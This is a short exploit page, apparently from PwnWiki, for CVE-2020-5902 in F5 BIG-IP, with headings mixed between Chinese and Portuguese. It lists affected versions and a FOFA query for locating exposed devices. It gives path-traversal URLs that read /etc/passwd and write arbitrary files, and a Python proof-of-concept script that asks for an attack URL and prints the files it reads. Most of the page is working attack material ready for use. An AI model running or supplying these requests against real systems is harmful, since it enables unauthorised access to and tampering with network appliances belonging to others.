# CVE-2020-5902 F5 BIG-IP 遠程代碼執行漏洞/pt
== Impacto de vulnerabilidade ==
F5 BIG-IP 15.x: 15.1.0.4 F5 BIG-IP 14.x: 14.1.2.6 F5 BIG-IP 13.x: 13.1.3.4 F5 BIG-IP 12.x: 12.1.5.2 F5 BIG-IP 11.x: 11.6.5.2
==FOFA==
title="BIG-IP® ;- Redirect"
== Exploit ==
=== Arquivo de leitura ===
http://xxx.xxx.xxx.xxx/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
=== Gravar arquivo ===
http://xxx.xxx.xxx.xxx/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp POST: fileName=/tmp/test.txt&content=test
==POC==
import requests import sys import json from requests.packages.urllib3.exceptions import InsecureRequestWarning def title(): print('+------------------------------------------') print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m') print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m') print('+ \033[34m公众号 : PeiQi文库 \033[0m') print('+ \033[34mVersion: F5 BIG-IP \033[0m') print('+ \033[36m使用格式: python3 CVE-2020-5902.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m') print('+------------------------------------------') def POC_1(target_url): version_url = target_url + "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Accept-Language":"zh-CN,zh;q=0.9", } try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.get(url=version_url, timeout=10, verify=False, headers=headers) if "output" in response.text: print("\033[32m[o] 目标 {} 存在漏洞,响应为:\n{}\033[0m".format(target_url, json.loads(response.text)["output"])) else: print("\033[31m[x] 目标漏洞无法利用 \033[0m") except Exception as e: print("\033[31m[x] 目标漏洞无法利用 ,{}\033[0m".format(e)) sys.exit(0) if __name__ == '__main__': title() target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m")) POC_1(target_url)
== Referência ==
https://short.pwnwiki.org/?c=Kum2Ch
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
请登录后查看评论内容